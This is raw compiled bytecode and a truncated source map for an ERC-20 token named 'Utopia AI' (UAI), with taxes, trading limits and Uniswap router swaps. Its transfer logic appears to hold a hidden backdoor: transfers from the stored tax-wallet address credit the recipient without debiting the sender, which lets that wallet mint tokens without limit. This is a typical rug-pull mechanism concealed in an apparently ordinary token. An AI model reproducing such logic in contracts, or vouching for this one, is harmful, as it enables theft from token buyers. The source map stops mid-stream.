0x6080604052600436106100dc575f3560e01c8063751039fc1161007c57806395d89b411161005757806395d89b411461024d578063a9059cbb14610278578063d9bbf38a14610297578063dd62ed3e146102ab575f80fd5b8063751039fc146101ff5780637b7ae722146102135780638da5cb5b14610227575f80fd5b806323b872dd116100b757806323b872dd1461017b578063313ce5671461019a57806370a08231146101b5578063715018a6146101e9575f80fd5b806306fdde03146100e7578063095ea7b31461012a57806318160ddd14610159575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b5060408051808201909152600981526855746f70696120414960b81b60208201525b60405161012191906112f9565b60405180910390f35b348015610135575f80fd5b50610149610144366004611358565b6102ef565b6040519015158152602001610121565b348015610164575f80fd5b5061016d610305565b604051908152602001610121565b348015610186575f80fd5b50610149610195366004611382565b610325565b3480156101a5575f80fd5b5060405160128152602001610121565b3480156101c0575f80fd5b5061016d6101cf3660046113c0565b6001600160a01b03165f9081526001602052604090205490565b3480156101f4575f80fd5b506101fd61038c565b005b34801561020a575f80fd5b506101fd610406565b34801561021e575f80fd5b506101fd6104b7565b348015610232575f80fd5b505f546040516001600160a01b039091168152602001610121565b348015610258575f80fd5b5060408051808201909152600381526255414960e81b6020820152610114565b348015610283575f80fd5b50610149610292366004611358565b610849565b3480156102a2575f80fd5b506101fd610855565b3480156102b6575f80fd5b5061016d6102c53660046113db565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102fb338484610895565b5060015b92915050565b5f6103126012600a611506565b6103209063041cdb40611514565b905090565b5f6103318484846109b8565b610382843361037d856040518060600160405280602881526020016116a6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f71565b610895565b5060019392505050565b5f546001600160a01b031633146103be5760405162461bcd60e51b81526004016103b59061152b565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461042f5760405162461bcd60e51b81526004016103b59061152b565b61043b6012600a611506565b6104499063041cdb40611514565b600d556104586012600a611506565b6104669063041cdb40611514565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104966012600a611506565b6104a49063041cdb40611514565b60405190815260200160405180910390a1565b5f546001600160a01b031633146104e05760405162461bcd60e51b81526004016103b59061152b565b601254600160a01b900460ff161561053a5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b5565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105839030906105756012600a611506565b61037d9063041cdb40611514565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f79190611560565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610656573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067a9190611560565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e89190611560565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061072f816001600160a01b03165f9081526001602052604090205490565b5f806107425f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107a8573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107cd919061157b565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610822573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084691906115a6565b50565b5f6102fb3384846109b8565b5f546001600160a01b0316331461087e5760405162461bcd60e51b81526004016103b59061152b565b6012805461ffff60a01b191661010160a01b179055565b6001600160a01b0383166108f75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b5565b6001600160a01b0382166109585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b5565b6001600160a01b038216610a7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b5565b5f8111610adf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b5565b6001600160a01b0383165f9081526003602052604081205460ff16158015610b1f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ddc57601254600160a01b900460ff16610b705760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064016103b5565b610b9c6064610b96600954600c5411610b8b57600554610b8f565b6007545b8590610fa9565b9061102e565b6012549091506001600160a01b038581169116148015610bca57506011546001600160a01b03848116911614155b15610c3657600d54821115610c215760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e000000000000000060448201526064016103b5565b600c8054905f610c30836115c5565b91905055505b6012546001600160a01b03848116911614801590610c6c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ceb57600e5482610c93856001600160a01b03165f9081526001602052604090205490565b610c9d91906115dd565b1115610ceb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103b5565b6012546001600160a01b038481169116148015610d1157506001600160a01b0384163014155b15610d3e57610d3b6064610b96600a54600c5411610d3157600654610b8f565b6008548590610fa9565b90505b305f90815260016020526040902054601254600160b01b900460ff16158015610d7457506012546001600160a01b038581169116145b8015610d895750601254600160a81b900460ff165b8015610d965750600f5483115b8015610da55750600b54600c54115b15610dda57600f54811115610dd157610dd1610dcc84610dc78460105461106f565b61106f565b611083565b610dda476111f3565b505b6004546001600160a01b03858116911603610e34576001600160a01b0383165f90815260016020526040902054610e13908361122e565b6001600160a01b039093165f90815260016020526040902092909255505050565b8015610eac57305f90815260016020526040902054610e53908261122e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ea39085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ece908361128c565b6001600160a01b0385165f90815260016020526040902055610f11610ef3838361128c565b6001600160a01b0385165f908152600160205260409020549061122e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f5a858561128c565b60405190815260200160405180910390a350505050565b5f8184841115610f945760405162461bcd60e51b81526004016103b591906112f9565b505f610fa084866115f0565b95945050505050565b5f825f03610fb857505f6102ff565b5f610fc38385611514565b905082610fd08583611603565b146110275760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b5565b9392505050565b5f61102783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112cd565b5f81831161107d5782611027565b50919050565b6012805460ff60b01b1916600160b01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110c9576110c9611622565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611120573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111449190611560565b8160018151811061115757611157611622565b6001600160a01b03928316602091820292909201015260115461117d9130911684610895565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b59085905f90869030904290600401611636565b5f604051808303815f87803b1580156111cc575f80fd5b505af11580156111de573d5f803e3d5ffd5b50506012805460ff60b01b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561122a573d5f803e3d5ffd5b5050565b5f8061123a83856115dd565b9050838110156110275760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b5565b5f61102783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f71565b5f81836112ed5760405162461bcd60e51b81526004016103b591906112f9565b505f610fa08486611603565b5f6020808352835180828501525f5b8181101561132457858101830151858201604001528201611308565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610846575f80fd5b5f8060408385031215611369575f80fd5b823561137481611344565b946020939093013593505050565b5f805f60608486031215611394575f80fd5b833561139f81611344565b925060208401356113af81611344565b929592945050506040919091013590565b5f602082840312156113d0575f80fd5b813561102781611344565b5f80604083850312156113ec575f80fd5b82356113f781611344565b9150602083013561140781611344565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146057815f190482111561144657611446611412565b8085161561145357918102915b93841c939080029061142b565b509250929050565b5f82611476575060016102ff565b8161148257505f6102ff565b816001811461149857600281146114a2576114be565b60019150506102ff565b60ff8411156114b3576114b3611412565b50506001821b6102ff565b5060208310610133831016604e8410600b84101617156114e1575081810a6102ff565b6114eb8383611426565b805f19048211156114fe576114fe611412565b029392505050565b5f61102760ff841683611468565b80820281158282048414176102ff576102ff611412565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611570575f80fd5b815161102781611344565b5f805f6060848603121561158d575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115b6575f80fd5b81518015158114611027575f80fd5b5f600182016115d6576115d6611412565b5060010190565b808201808211156102ff576102ff611412565b818103818111156102ff576102ff611412565b5f8261161d57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116845784516001600160a01b03168352938301939183019160010161165f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c1bc222f109da484d459cb6de99eae0ee6186b45452e4cc6f72f8bc352f4ecd64736f6c63430008150033

Deployed Bytecode Sourcemap

3648:7255:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5446:83;;;;;;;;;;-1:-1:-1;5516:5:0;;;;;;;;;;;;-1:-1:-1;;;5516:5:0;;;;5446:83;;;;;;;:::i;:::-;;;;;;;;6279:161;;;;;;;;;;-1:-1:-1;6279:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6279:161:0;1023:187:1;5723:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5723:95:0;1215:177:1;6448:313:0;;;;;;;;;;-1:-1:-1;6448:313:0;;;;;:::i;:::-;;:::i;5632:83::-;;;;;;;;;;-1:-1:-1;5632:83:0;;4377:2;2000:36:1;;1988:2;1973:18;5632:83:0;1858:184:1;5826:119:0;;;;;;;;;;-1:-1:-1;5826:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5919:18:0;5892:7;5919:18;;;:9;:18;;;;;;;5826:119;2729:148;;;;;;;;;;;;;:::i;:::-;;10703:160;;;;;;;;;;;;;:::i;9847:623::-;;;;;;;;;;;;;:::i;2515:79::-;;;;;;;;;;-1:-1:-1;2553:7:0;2580:6;2515:79;;-1:-1:-1;;;;;2580:6:0;;;2445:51:1;;2433:2;2418:18;2515:79:0;2299:203:1;5537:87:0;;;;;;;;;;-1:-1:-1;5609:7:0;;;;;;;;;;;;-1:-1:-1;;;5609:7:0;;;;5537:87;;5953:167;;;;;;;;;;-1:-1:-1;5953:167:0;;;;;:::i;:::-;;:::i;10478:120::-;;;;;;;;;;;;;:::i;6128:143::-;;;;;;;;;;-1:-1:-1;6128:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6236:18:0;;;6209:7;6236:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6128:143;6279:161;6354:4;6371:39;350:10;6394:7;6403:6;6371:8;:39::i;:::-;-1:-1:-1;6428:4:0;6279:161;;;;;:::o;5723:95::-;5776:7;4544:13;4377:2;4544;:13;:::i;:::-;4531:26;;:10;:26;:::i;:::-;5796:14;;5723:95;:::o;6448:313::-;6546:4;6563:36;6573:6;6581:9;6592:6;6563:9;:36::i;:::-;6610:121;6619:6;350:10;6641:89;6679:6;6641:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6641:19:0;;;;;;:11;:19;;;;;;;;350:10;6641:33;;;;;;;;;;:37;:89::i;:::-;6610:8;:121::i;:::-;-1:-1:-1;6749:4:0;6448:313;;;;;:::o;2729:148::-;2642:6;;-1:-1:-1;;;;;2642:6:0;350:10;2642:22;2634:67;;;;-1:-1:-1;;;2634:67:0;;;;;;;:::i;:::-;;;;;;;;;2836:1:::1;2820:6:::0;;2799:40:::1;::::0;-1:-1:-1;;;;;2820:6:0;;::::1;::::0;2799:40:::1;::::0;2836:1;;2799:40:::1;2867:1;2850:19:::0;;-1:-1:-1;;;;;;2850:19:0::1;::::0;;2729:148::o;10703:160::-;2642:6;;-1:-1:-1;;;;;2642:6:0;350:10;2642:22;2634:67;;;;-1:-1:-1;;;2634:67:0;;;;;;;:::i;:::-;4544:13:::1;4377:2;4544;:13;:::i;:::-;4531:26;::::0;:10:::1;:26;:::i;:::-;10757:10;:20:::0;4544:13:::1;4377:2;4544;:13;:::i;:::-;4531:26;::::0;:10:::1;:26;:::i;:::-;10788:14;:24:::0;10828:27:::1;4544:13;4377:2;4544;:13;:::i;:::-;4531:26;::::0;:10:::1;:26;:::i;:::-;10828:27;::::0;1361:25:1;;;1349:2;1334:18;10828:27:0::1;;;;;;;10703:160::o:0;9847:623::-;2642:6;;-1:-1:-1;;;;;2642:6:0;350:10;2642:22;2634:67;;;;-1:-1:-1;;;2634:67:0;;;;;;;:::i;:::-;9917:15:::1;::::0;-1:-1:-1;;;9917:15:0;::::1;;;9916:16;9908:51;;;::::0;-1:-1:-1;;;9908:51:0;;5151:2:1;9908:51:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;9908:51:0::1;4949:347:1::0;9908:51:0::1;9970:15;:80:::0;;-1:-1:-1;;;;;;9970:80:0::1;10007:42;9970:80:::0;;::::1;::::0;;;10061:58:::1;::::0;10078:4:::1;::::0;4544:13:::1;4377:2;4544;:13;:::i;:::-;4531:26;::::0;:10:::1;:26;:::i;10061:58::-;10164:15;;;;;;;;;-1:-1:-1::0;;;;;10164:15:0::1;-1:-1:-1::0;;;;;10164:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10146:55:0::1;;10210:4;10217:15;;;;;;;;;-1:-1:-1::0;;;;;10217:15:0::1;-1:-1:-1::0;;;;;10217:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10146:94;::::0;-1:-1:-1;;;;;;10146:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;10146:94:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;10146:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10130:13;:110:::0;;-1:-1:-1;;;;;10130:110:0;;::::1;-1:-1:-1::0;;;;;;10130:110:0;;::::1;;::::0;;10251:15:::1;::::0;::::1;:31;10290:21;10321:4;10327:24;10321:4:::0;-1:-1:-1;;;;;5919:18:0;5892:7;5919:18;;;:9;:18;;;;;;;5826:119;10327:24:::1;10352:1;10354::::0;10356:7:::1;2553::::0;2580:6;-1:-1:-1;;;;;2580:6:0;;2515:79;10356:7:::1;10251:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10251:129:0;;;-1:-1:-1;;;;;6225:15:1;;;10251:129:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;10364:15:0::1;6439:19:1::0;;;6432:35;6141:19;;10251:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10398:13:0::1;::::0;10429:15:::1;::::0;10391:71:::1;::::0;-1:-1:-1;;;10391:71:0;;-1:-1:-1;;;;;10429:15:0;;::::1;10391:71;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;10398:13:0;::::1;::::0;-1:-1:-1;10391:29:0::1;::::0;6936:18:1;;10391:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9847:623::o:0;5953:167::-;6031:4;6048:42;350:10;6072:9;6083:6;6048:9;:42::i;10478:120::-;2642:6;;-1:-1:-1;;;;;2642:6:0;350:10;2642:22;2634:67;;;;-1:-1:-1;;;2634:67:0;;;;;;;:::i;:::-;10531:11:::1;:18:::0;;-1:-1:-1;;;;10560:22:0;-1:-1:-1;;;10560:22:0;;;10478:120::o;6769:335::-;-1:-1:-1;;;;;6862:19:0;;6854:68;;;;-1:-1:-1;;;6854:68:0;;7552:2:1;6854:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;6854:68:0;7350:400:1;6854:68:0;-1:-1:-1;;;;;6941:21:0;;6933:68;;;;-1:-1:-1;;;6933:68:0;;7957:2:1;6933:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;6933:68:0;7755:398:1;6933:68:0;-1:-1:-1;;;;;7012:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7064:32;;1361:25:1;;;7064:32:0;;1334:18:1;7064:32:0;;;;;;;6769:335;;;:::o;7112:2017::-;-1:-1:-1;;;;;7202:20:0;;7194:70;;;;-1:-1:-1;;;7194:70:0;;8360:2:1;7194:70:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;7194:70:0;8158:401:1;7194:70:0;-1:-1:-1;;;;;7283:16:0;;7275:64;;;;-1:-1:-1;;;7275:64:0;;8766:2:1;7275:64:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:33;8938:19;;7275:64:0;8564:399:1;7275:64:0;7367:1;7358:6;:10;7350:64;;;;-1:-1:-1;;;7350:64:0;;9170:2:1;7350:64:0;;;9152:21:1;9209:2;9189:18;;;9182:30;9248:34;9228:18;;;9221:62;-1:-1:-1;;;9299:18:1;;;9292:39;9348:19;;7350:64:0;8968:405:1;7350:64:0;-1:-1:-1;;;;;7460:22:0;;7425:17;7460:22;;;:14;:22;;;;;;;;7459:23;:46;;;;-1:-1:-1;;;;;;7487:18:0;;;;;;:14;:18;;;;;;;;7486:19;7459:46;7455:1213;;;7530:15;;-1:-1:-1;;;7530:15:0;;;;7522:44;;;;-1:-1:-1;;;7522:44:0;;9580:2:1;7522:44:0;;;9562:21:1;9619:2;9599:18;;;9592:30;-1:-1:-1;;;9638:18:1;;;9631:46;9694:18;;7522:44:0;9378:340:1;7522:44:0;7593:76;7665:3;7593:67;7615:15;;7605:9;;:25;7604:55;;7645:14;;7604:55;;;7632:12;;7604:55;7593:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7700:13;;7581:88;;-1:-1:-1;;;;;;7690:23:0;;;7700:13;;7690:23;:57;;;;-1:-1:-1;7731:15:0;;-1:-1:-1;;;;;7717:30:0;;;7731:15;;7717:30;;7690:57;7686:185;;;7786:10;;7776:6;:20;;7768:57;;;;-1:-1:-1;;;7768:57:0;;9925:2:1;7768:57:0;;;9907:21:1;9964:2;9944:18;;;9937:30;10003:26;9983:18;;;9976:54;10047:18;;7768:57:0;9723:348:1;7768:57:0;7844:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7686:185;7897:13;;-1:-1:-1;;;;;7891:19:0;;;7897:13;;7891:19;;;;:43;;-1:-1:-1;;;;;;7916:18:0;;;;;;:14;:18;;;;;;;;7914:20;7891:43;7887:163;;;7989:14;;7979:6;7963:13;7973:2;-1:-1:-1;;;;;5919:18:0;5892:7;5919:18;;;:9;:18;;;;;;;5826:119;7963:13;:22;;;;:::i;:::-;:40;;7955:79;;;;-1:-1:-1;;;7955:79:0;;10548:2:1;7955:79:0;;;10530:21:1;10587:2;10567:18;;;10560:30;10626:28;10606:18;;;10599:56;10672:18;;7955:79:0;10346:350:1;7955:79:0;8075:13;;-1:-1:-1;;;;;8069:19:0;;;8075:13;;8069:19;:45;;;;-1:-1:-1;;;;;;8092:22:0;;8109:4;8092:22;;8069:45;8066:176;;;8147:79;8222:3;8147:70;8169:16;;8159:9;;:26;8158:58;;8201:15;;8158:58;;;8187:13;;8147:6;;:10;:70::i;:79::-;8135:91;;8066:176;8308:4;8258:29;5919:18;;;:9;:18;;;;;;8334:11;;-1:-1:-1;;;8334:11:0;;;;8333:12;:35;;;;-1:-1:-1;8355:13:0;;-1:-1:-1;;;;;8349:19:0;;;8355:13;;8349:19;8333:35;:50;;;;-1:-1:-1;8372:11:0;;-1:-1:-1;;;8372:11:0;;;;8333:50;:79;;;;;8394:18;;8387:6;:25;8333:79;:111;;;;;8426:18;;8416:9;;:28;8333:111;8329:338;;;8490:18;;8468:21;:40;8465:132;;;8527:70;8543:53;8547:6;8554:41;8558:21;8580:14;;8554:3;:41::i;:::-;8543:3;:53::i;:::-;8527:15;:70::i;:::-;8616:35;8629:21;8616:12;:35::i;:::-;7507:1161;7455:1213;9228:7;;-1:-1:-1;;;;;9219:16:0;;;9228:7;;9219:16;8682:83;;-1:-1:-1;;;;;8721:13:0;;;;;;:9;:13;;;;;;:25;;8739:6;8721:17;:25::i;:::-;-1:-1:-1;;;;;8707:13:0;;;;;;;:9;:13;;;;;:39;;;;-1:-1:-1;;;7112:2017:0:o;8682:83::-;8780:11;;8777:163;;8848:4;8830:24;;;;:9;:24;;;;;;:39;;8859:9;8830:28;:39::i;:::-;8823:4;8805:24;;;;:9;:24;;;;;;;:64;;;;8887:41;;-1:-1:-1;;;;;8887:41:0;;;;;;;8918:9;1361:25:1;;1349:2;1334:18;;1215:177;8887:41:0;;;;;;;;8777:163;-1:-1:-1;;;;;8968:17:0;;;;;;:9;:17;;;;;;:29;;8990:6;8968:21;:29::i;:::-;-1:-1:-1;;;;;8950:17:0;;;;;;:9;:17;;;;;:47;9022:40;9040:21;:6;9051:9;9040:10;:21::i;:::-;-1:-1:-1;;;;;9022:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9008:13:0;;;;;;;:9;:13;;;;;:54;;;;9078:43;;;9099:21;:6;9110:9;9099:10;:21::i;:::-;9078:43;;1361:25:1;;;1349:2;1334:18;9078:43:0;;;;;;;7183:1946;7112:2017;;;:::o;1407:190::-;1493:7;1529:12;1521:6;;;;1513:29;;;;-1:-1:-1;;;1513:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1553:9:0;1565:5;1569:1;1565;:5;:::i;:::-;1553:17;1407:190;-1:-1:-1;;;;;1407:190:0:o;1605:246::-;1663:7;1687:1;1692;1687:6;1683:47;;-1:-1:-1;1717:1:0;1710:8;;1683:47;1740:9;1752:5;1756:1;1752;:5;:::i;:::-;1740:17;-1:-1:-1;1785:1:0;1776:5;1780:1;1740:17;1776:5;:::i;:::-;:10;1768:56;;;;-1:-1:-1;;;1768:56:0;;11258:2:1;1768:56:0;;;11240:21:1;11297:2;11277:18;;;11270:30;11336:34;11316:18;;;11309:62;-1:-1:-1;;;11387:18:1;;;11380:31;11428:19;;1768:56:0;11056:397:1;1768:56:0;1842:1;1605:246;-1:-1:-1;;;1605:246:0:o;1859:132::-;1917:7;1944:39;1948:1;1951;1944:39;;;;;;;;;;;;;;;;;:3;:39::i;9741:98::-;9798:7;9825:1;9823;:3;9822:9;;9830:1;9822:9;;;-1:-1:-1;9828:1:0;9741:98;-1:-1:-1;9741:98:0:o;9251:482::-;5097:11;:18;;-1:-1:-1;;;;5097:18:0;-1:-1:-1;;;5097:18:0;;;9352:16:::1;::::0;;9366:1:::1;9352:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9352:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9352:16:0::1;9328:40;;9397:4;9379;9384:1;9379:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9379:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9423:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9423:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9379:7;;9423:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9413:4;9418:1;9413:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9413:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9488:15:::1;::::0;9456:62:::1;::::0;9473:4:::1;::::0;9488:15:::1;9506:11:::0;9456:8:::1;:62::i;:::-;9529:15;::::0;:196:::1;::::0;-1:-1:-1;;;9529:196:0;;-1:-1:-1;;;;;9529:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9610:11;;9529:15:::1;::::0;9652:4;;9679::::1;::::0;9699:15:::1;::::0;9529:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5138:11:0;:19;;-1:-1:-1;;;;5138:19:0;;;-1:-1:-1;;;;9251:482:0:o;10606:89::-;10663:7;;:24;;-1:-1:-1;;;;;10663:7:0;;;;:24;;;;;10680:6;;10663:7;:24;:7;:24;10680:6;10663:7;:24;;;;;;;;;;;;;;;;;;;;;10606:89;:::o;1076:179::-;1134:7;;1166:5;1170:1;1166;:5;:::i;:::-;1154:17;;1195:1;1190;:6;;1182:46;;;;-1:-1:-1;;;1182:46:0;;12909:2:1;1182:46:0;;;12891:21:1;12948:2;12928:18;;;12921:30;12987:29;12967:18;;;12960:57;13034:18;;1182:46:0;12707:351:1;1263:136:0;1321:7;1348:43;1352:1;1355;1348:43;;;;;;;;;;;;;;;;;:3;:43::i;1999:189::-;2085:7;2120:12;2113:5;2105:28;;;;-1:-1:-1;;;2105:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2144:9:0;2156:5;2160:1;2156;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;345